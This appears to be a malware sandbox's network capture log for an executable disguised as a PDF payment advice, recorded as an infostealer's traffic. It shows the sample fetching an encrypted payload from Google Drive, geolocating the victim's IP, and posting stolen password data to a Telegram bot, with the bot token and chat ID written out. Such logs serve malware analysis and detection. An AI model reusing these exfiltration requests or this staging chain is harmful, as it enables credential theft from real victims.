Dec 17, 2024 08:44:18.116226912 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:44:17 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 12d1d71794bccf129382eec9d70da69c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	172.217.19.174	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:42:57 UTC	216	OUT	GET /uc?export=download&id=16Wlyd_Vqizy5l4oyBE1RXq9ib6gP2vmD HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-12-17 07:42:58 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 17 Dec 2024 07:42:57 GMT Location: https://drive.usercontent.google.com/download?id=16Wlyd_Vqizy5l4oyBE1RXq9ib6gP2vmD&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-yRrcy76AMC6IwfXCWWmCJQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	142.250.200.225	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:00 UTC	258	OUT	GET /download?id=16Wlyd_Vqizy5l4oyBE1RXq9ib6gP2vmD&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-17 07:43:02 UTC	4932	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC4_x0JHOLCwfhz90HHgjxhWR5w0BKhErRcxEyotAyieWSGTNENBZANXyq9LjN6Mav5q Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="VcVRUSCXK178.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Mon, 16 Dec 2024 21:06:37 GMT Date: Tue, 17 Dec 2024 07:43:02 GMT Expires: Tue, 17 Dec 2024 07:43:02 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=AHfbPg== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-17 07:43:02 UTC	4932	IN	Data Raw: 8d 83 6b fe af 31 0b 38 24 bf a1 8d 2a 41 29 23 fb ef 63 c0 27 87 dd 16 ba 72 6e 69 7d 33 b8 51 f6 60 39 10 f5 3a b9 15 51 cd ac 73 4f fc fb 24 d5 f9 5d de 8c 7e 29 2f aa 1e 6c 64 08 83 9f fc 75 e5 42 f9 8b 06 07 f3 83 b7 26 94 a4 41 7b 7e cd 7b f5 c5 f6 d9 fb e2 e5 8d be 81 a9 d4 3a d2 90 52 32 5f e9 03 ac d9 18 6e f3 f3 8a e7 2c 3a 81 5a c9 16 fa 3a d0 31 f2 a2 dd 33 35 a7 d0 b4 01 a9 8f 6e 60 c9 31 96 33 00 a5 fb 8a 75 e2 50 ff c3 a9 8d 90 c4 eb d3 58 f9 5e 96 71 c0 34 4a 4c 22 47 62 3c 35 e7 aa a5 d7 fb f4 71 f6 b9 d6 0b f1 4d dc a7 26 9b 51 fb f9 6a 81 4e d6 74 cb bb e6 6f ef e4 df 59 c5 5d 76 f8 8d 3c 1c c1 51 20 50 dc 97 10 9a f5 bc 56 ff 51 ae 80 39 5f 17 55 68 26 cb a9 6a 9b 22 2d 74 75 06 8d 47 d4 78 ea 66 03 e8 d0 af 8a 09 b5 d2 56 e2 66 73 0a Data Ascii: k18$*A)#c'rni}3Q`9:QsO$]~)/lduB&A{~{:R2_n,:Z:135n`13uPX^q4JL"Gb<5qM&QjNtoY]v<Q PVQ9_Uh&j"-tuGxfVfs
2024-12-17 07:43:02 UTC	4834	IN	Data Raw: 63 8e 86 c8 45 65 28 73 7d f8 2c 81 d9 7f d1 31 cd 4b 1e aa 86 92 f7 89 7d d0 71 27 f7 2d 1b f0 e3 04 bc 6d 9c 55 25 c1 b4 87 4a 28 ef d7 8f 97 a9 e8 7f eb 77 b1 ca 86 c2 e8 ab d4 51 20 2a 11 94 6f 72 1d 84 e1 16 21 d9 35 d3 90 5c 7c 04 fd ae 9d ec 35 58 98 0d 84 cd 25 4b 86 7d 2c cd 49 8a 6c f7 e2 99 0e 98 2c 6e 18 4b 2c b1 6c 2e ec fe 21 54 8e 5a 66 90 c6 42 40 7f f7 c5 44 c6 ce 84 8c 5d 9a 7f e7 ae c7 87 2e a5 f3 fe 85 d6 2c 6d 8f 2c a5 e7 ee 6f d2 ca 35 47 fc 7d 5e 72 3c e9 6a 34 62 a0 90 9f f1 9b d9 78 63 53 23 f6 e1 1b 1a 1f e4 fb 80 51 5e c4 e5 32 45 cb 95 81 4c bc 39 4d 95 e9 06 6f 03 d3 af 54 d2 2a 16 c8 81 a4 9a 7b 70 76 e7 29 0d 78 83 05 08 0d 70 d4 1a 21 a2 a1 68 34 93 e5 1d 53 3a 57 03 05 99 ab 88 ce a3 49 a5 56 13 76 6d 6a c9 b6 23 74 0b a3 Data Ascii: cEe(s},1K}q'-mU%J(wQ or!5\\|5X%K},Il,nK,l.!TZfB@D].,m,o5G}^r<j4bxcS#Q^2EL9MoT{pv)xp!h4S:WIVvmj#t
2024-12-17 07:43:02 UTC	1322	IN	Data Raw: 2f cd 47 92 ce f8 f4 95 d4 31 bc fc f4 1d d4 29 b9 8d 29 ed 10 df f9 6e a9 9c d6 74 c1 eb a1 6a 61 c1 a3 17 c5 ea 48 8f 3e 47 51 c1 51 24 78 0d 97 f0 90 8a f1 5d fe 05 ae 80 75 5e 17 55 73 16 c9 a9 f0 9b 22 f3 d5 74 06 9c 67 d6 03 ac c6 02 ec ae fc ca 09 bf da 02 e2 66 7b 00 0a 8c b6 67 b2 96 d1 ad 53 fe 02 3d 98 af 00 18 2c c1 7b d2 4a 23 b7 c0 04 2b a0 29 17 88 18 6b 04 48 17 4b 4a 64 af 60 d4 02 8f b9 0b ce 7d 99 26 55 ee bc 4b 6d 0b 7d 15 79 12 6b b1 83 a9 c6 cc c8 22 3e 4f aa a1 79 ab c5 22 65 de 8d 09 c1 9c 5d 1c f7 99 ba 25 dd 53 94 7e ef 8d d7 dc 32 e6 4c 7c e0 db 9d 9a 7f fe 6b 01 40 ea d4 2d de 8a c2 ec 64 42 69 c5 27 3d 09 84 e0 19 8a aa 0b ac 82 12 bc 5e 30 b0 18 57 17 47 43 d8 71 51 44 f2 d7 c0 54 de 5f d3 67 c8 96 cc af 6f 12 d3 46 20 a3 75 Data Ascii: /G1))ntjaH>GQQ$x]u^Us"tgf{gS=,{J#+)kHKJd`}&UKm}yk">Oy"e]%S~2L\|k@-dBi'=^0WGCqQDT_goF u
2024-12-17 07:43:02 UTC	1390	IN	Data Raw: 65 02 a3 5d 1d 0d 43 bb 27 40 a5 c5 e2 38 50 56 a1 24 1c 83 e7 63 ae 3f f4 f0 22 45 ec d7 d5 56 85 ec 2a 9d 8f c6 a7 74 0a ec d5 d7 d0 e9 6a 01 3f a5 11 84 ec a7 0c ec aa 63 55 70 14 9e 80 89 ee 90 b9 aa c6 2f 05 fe c4 67 05 42 e3 12 6d 9d 3a 45 74 78 68 34 64 05 73 f8 3e 6a 1d fa ea cc fb 21 df e3 4b 9e 86 cd e4 dd 6f 1c 4e ee 45 65 7e 53 ec fa 8a 3d 81 ea 84 2d ea 2c 30 31 eb e7 1f 02 dc d4 3f 65 0f ca 71 b5 21 aa 66 7f f2 5e 44 1f 32 6d 84 5a f2 34 79 f0 87 74 aa 65 96 5d ec 0a 64 5f 3a 22 3b f4 73 67 9f a4 82 10 9c 73 41 89 e7 7d 2c 12 4f b8 65 01 ba a1 10 e7 3b 73 90 b7 37 9e c2 ec 90 ee d7 89 6a 00 42 fb a5 e8 c7 aa 61 5b c0 f5 36 83 d1 94 2e 8f 74 f6 2b 23 a7 50 f6 ae 22 db a1 65 3f b6 57 b8 01 46 4f df bf 7d 68 f2 20 36 63 84 fe 5f 5d 62 37 95 a2 Data Ascii: e]C'@8PV$c?"EV*tj?cUp/gBm:Etxh4ds>j!KoNEe~S=-,01?eq!f^D2mZ4yte]d_:";sgsA},Oe;s7jBa[6.t+#P"e?WFO}h 6c_]b7
2024-12-17 07:43:02 UTC	1390	IN	Data Raw: 95 06 fd d0 94 e0 24 51 70 48 81 dc 5b 2e 40 fc 2c c7 50 93 83 f8 e0 92 6d cd 0f 75 69 24 c7 b1 1f a8 fb 28 44 a8 88 4b 6a fd c8 53 4e 09 d0 52 44 b6 ec a5 02 5d 90 66 f6 ae d0 f1 d2 55 f3 f4 f1 e4 3e 7c 99 2c c4 e7 ee 6f 65 c8 20 7e 7e 6a 84 6f 98 14 38 34 12 89 b5 8b e7 8e a3 37 81 56 29 ae b5 0d 0b 07 9a 7d 96 40 47 ab 06 34 37 c5 b4 90 28 d4 b5 6d 45 ed 74 fd f6 d2 cc 6b 84 3d 05 db ff 2e b6 7d 6c 65 81 3b 26 7d 87 61 8f 15 70 cf 1a 31 69 b4 1d b7 80 fe 2f 74 3f 38 95 14 8d b0 93 21 9c 69 94 45 71 f5 7c 71 52 ba 54 25 1e b2 2a d5 cf 9f 4c 0c 66 91 71 e7 a4 73 36 bf 99 47 82 af 00 fc 0c 69 a3 0f 50 25 e1 53 50 06 7e 83 fc 65 03 75 87 bf 6a e7 4d 5a 86 31 6b 8a 5f 05 ac 6f 7e 35 9d 1f 85 8c 0a a3 e3 33 e2 76 2d ec 87 17 5d ca 76 09 1f 4e b6 d1 b0 9e dd Data Ascii: $QpH[.@,Pmui$(DKjSNRD]fU>\|,oe ~~jo847V)}@G47(mEtk=.}le;&}ap1i/t?8!iEq\|qRT%*Lfqs6GiP%SP~eujMZ1k_o~53v-]vN
2024-12-17 07:43:02 UTC	1390	IN	Data Raw: 41 1e 90 5a 4e 6a 97 be ce 48 8d c8 9e 07 9d c0 30 4a 52 7b 34 db 92 58 fe 1b dd 8c ff 0b 7c f9 50 12 10 b2 e4 fa 96 89 e8 b2 80 4e 3e fe 1c 69 a1 02 a2 db c8 76 bc 2f 63 c8 bf d9 b7 37 c6 9b 7e 93 e1 4a 5d c9 f9 f8 18 74 0a 87 b7 2c 93 73 44 7b 7e 7f 53 0e c5 f6 d3 e8 e4 b4 8b d1 7d a9 d4 30 c1 98 79 71 4e e1 6c d2 d9 18 64 db c9 8a e7 26 29 88 4b c0 62 67 3a d0 30 e1 a8 cc 39 da 5a d0 b4 05 a5 3e 71 6b 6e 34 4a 1e 94 bd a6 4d 3b 48 38 96 ba 9e 92 1d ab 8c ab 56 94 7f f5 1a 86 30 25 38 08 29 07 1c 47 83 cc ea 3e 95 d4 3f aa e7 e7 6b b3 99 67 9e 3a 9e 2e ce f9 6a 80 62 db 65 c3 9e b2 6f ef a9 b1 5b c5 ea 46 8d e0 34 92 a8 4a fa 47 06 80 26 17 ae bd 5d ff 12 a9 88 44 4f 10 43 68 a8 a2 b2 b0 b3 44 f3 f1 7e 06 8d 76 d3 6c fc ee e5 e8 d0 a5 d9 0d 6b d2 73 ca Data Ascii: AZNjH0JR{4X\|PN>iv/c7~J]t,sD{~S}0yqNld&)Kbg:09Z>qkn4JM;H8V0%8)G>?kg:.jbeo[F4JG&]DOChD~vlks
2024-12-17 07:43:02 UTC	1390	IN	Data Raw: b2 71 42 4e a0 89 1e ab c5 39 69 c9 82 27 08 9a 71 1b 87 c2 ef 25 ad 7f f2 ad ef 87 d7 dc 34 ce b6 07 ac d1 96 99 38 eb 6a 01 4a c4 f3 fa de 80 c9 e9 7f 37 22 de 0b 40 64 2d ac 19 8c 88 2b 10 51 12 b6 58 27 6a 21 51 01 4f 74 ea 66 7a 45 f2 df f4 53 ac 26 cf 65 c6 c4 19 af 6b 6a e0 4e 31 a0 79 b9 3b bb 5f 5e cd 43 cb 83 76 b8 c4 9c fb 22 ca bb 86 49 f6 40 25 bb 39 97 57 16 5b cd 2b 13 56 83 f9 80 a9 9b 98 84 67 22 9f 76 ff 7a 86 6e 0a 2c ab 00 8e ed a7 02 d5 3a 4b 1b 76 07 9d 11 8f fa 6e bc b9 de 3c 27 35 3a 66 1c 5a f7 08 44 a6 83 31 7b 6a 60 db 77 66 2c f8 25 0f 0d f3 c2 53 fb fd d9 db 4c 9e 86 e7 ce ed 6f 34 e6 ee 58 6f 0c d5 eb 87 16 21 81 9a f0 c8 e0 2c 7c 5d b4 e7 33 08 f4 79 3f 16 d0 d9 74 bf 3b b4 99 a2 f7 5e 35 2c 0c 9e 4e 4f f8 52 25 d6 81 03 3e Data Ascii: qBN9i'q%48jJ7"@d-+QX'j!QOtfzES&ekjN1y;_^Cv"I@%9W[+Vg"vzn,:Kvn<'5:fZD1{j`wf,%SLo4Xo!,\|]3y?t;^5,NOR%>
2024-12-17 07:43:02 UTC	1390	IN	Data Raw: 28 3b a6 33 d9 ff c2 2e 9e 24 d6 de 4c 20 d1 1c 58 7b e3 fb 37 63 84 a4 5c 45 62 41 e9 74 e9 2f 98 2e 76 d4 33 52 28 67 de 87 81 f6 98 7f 93 11 0f 5d 27 1b 84 e0 01 d3 36 b4 de 2f d0 b7 af 01 24 ef d8 b0 95 a0 87 7e c0 57 bb e2 f0 1c fb 84 f4 73 27 58 87 9b 6b 02 5a 03 e1 16 2d 6b 7d d1 90 56 54 b8 fd d0 83 ff 30 5c fb 5f fd 2f 50 5d de ea 04 4c 43 9c 98 e0 0f 9f 0e 98 67 97 1c 4b 5c a7 37 23 ec fe 21 51 76 48 3f fd d4 53 4c 57 c9 55 c9 f9 c4 eb 03 78 8c 07 01 ab c1 98 03 80 e4 fd 59 d2 34 1f a7 56 35 97 4c 40 cb ca 37 cd 48 67 2c 3e 5b 99 11 96 37 93 b7 9a 53 b8 aa 37 4d 73 29 ae 04 33 ba 15 8b 63 93 5c 2a cb f4 34 33 de 9f a9 72 c2 24 47 15 e2 74 fd 0c d3 df 6d 92 3d c0 d1 e9 26 9d 6a 7c 48 79 c5 f2 87 87 76 42 1d 55 f6 3a 26 b3 ad 14 af 93 cd 45 42 3d Data Ascii: (;3.$L X{7c\EbAt/.v3R(g]'6/$~Ws'XkZ-k}VT0\_/P]LCgK\7#!QvH?SLWUxY4V5L@7Hg,>[7S7Ms)3c\*43r$Gtm=&j\|HyvBU:&EB=
2024-12-17 07:43:02 UTC	1390	IN	Data Raw: 28 69 1f 68 17 34 51 85 86 16 4e f6 1e 13 7f 3c 90 b8 7a 51 51 3b 8b 05 4f e3 a8 31 78 c9 fa b3 4b ab 0b 18 65 77 1b d9 29 5b 6e 58 0a d3 9a 4a 91 97 eb 69 8e 66 7e 7d 1e 7c 11 2d 8b f2 47 93 65 2b 9f c3 95 0d 7d 2c 9e f2 0d 16 5a d4 14 46 d6 38 db 52 d7 14 5c ca 2b 1b be 27 6b c7 55 8b 9e 00 50 03 6d 49 4f 51 90 af d3 46 6b 36 73 f9 9d c0 df 5a 77 42 07 d9 e0 9a f6 15 ad 8c e3 0b 7c f9 85 04 9d c1 a5 e6 97 85 ef 9a 78 4e 2d f4 0a 97 f7 0e ab c8 a7 66 b9 03 7a dc ac dd f3 0f 1b 9a 65 a3 e5 38 c3 d3 f9 88 35 07 f3 96 b7 39 88 73 66 7b 7e 7f 09 c6 e6 f6 a9 d3 ac a5 8d b4 8b a9 d2 12 2a 90 52 38 54 ee 3a ea d8 18 6e f5 80 5d e7 2c 3c 8d 52 bb 4c e6 3a a0 5e 20 a2 dd 35 93 af bf 67 0f b6 33 77 ba 6e 3e 4d 01 bf 9c a0 46 54 b6 30 87 b7 fb 95 fe ab fc ce ec 94 Data Ascii: (ih4QN<zQQ;O1xKew)[nXJif~}\|-Ge+},ZF8R\+'kUPmIOQFk6sZwB\|xN-fze859sf{~*R8T:n],<RL:^ 5g3wn>MFT0
2024-12-17 07:43:02 UTC	1390	IN	Data Raw: 80 17 55 4a 67 d7 a9 6a 9b 22 f3 f1 67 06 8d 67 83 79 ea c6 68 e9 d0 af da 09 b5 f2 12 e2 66 70 11 3c 9b b2 0a b7 ba dc 9c 28 b8 13 3d 83 9b fb c0 2c cb 71 a0 d3 04 cc fa 2c 65 a4 57 4e 82 18 67 04 e4 17 4b 4a 64 af 4a 97 12 8a 95 00 bf d1 d3 26 53 e6 9c ea 37 17 77 65 16 c0 69 ca cd 8f ce a7 65 71 3e 49 b7 53 3e ad d3 3b 6e ee 89 0e d0 9a 79 00 f2 90 9a 39 dd 27 d3 78 ef 8d db d1 3a f7 49 75 d2 c7 9d ee 6e 78 6b 01 4c d1 84 25 cf 87 bd 79 6b 45 08 ad de 30 0b f9 bf 1c 9b ab 0b ec 82 12 b0 4d 38 a1 3a 7b 54 5a 5b d1 70 7b 4f 9d d3 e4 54 d4 21 d6 64 b6 a1 e4 3b 6b 6c eb 55 29 b6 02 d3 d9 ba 3c 3b 09 49 dd 7b 64 af c7 9c f7 7c 40 8f 2c 39 99 9f 34 be 50 db 52 07 54 f4 b1 3b c3 85 ea 8e ab 96 b4 c7 61 21 bc 77 d7 da e9 6a 01 24 b0 68 f9 70 bb 08 8d c1 9e 1b Data Ascii: UJgj"ggyhfp<(=,q,eWNgKJdJ&S7weieq>IS>;ny9'x:IunxkL%ykE0M8:{TZ[p{OT!d;klU)<;I{d\|@,94PRT;a!wj$hp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	104.21.67.152	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:07 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-17 07:43:07 UTC	882	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:07 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 410156 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ccouM%2FZ%2F9FEnTbTIQ4qeTzB2UIoCL7fwUWdVUlp%2F626SZO1MQyHFimae3SRuBCeQSp%2BaC%2BSUOhBHXQbfDXtFHWLgplDyGKLRrFyYozJQPTqwLYD4r9q8RHb51meyTS%2BDr7JhfbNE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3547c88995425b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1584&rtt_var=606&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1789215&cwnd=238&unsent_bytes=0&cid=501481dbbfa4d3de&ts=455&x=0"
2024-12-17 07:43:07 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49747	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:15 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1e448cf4571d Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:43:15 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 65 34 34 38 63 66 34 35 37 31 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1e448cf4571dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:43:15 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:43:15 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:43:15 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 36 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 33 39 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13686,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421395,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49759	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:43:18 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1e7283a76d25 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
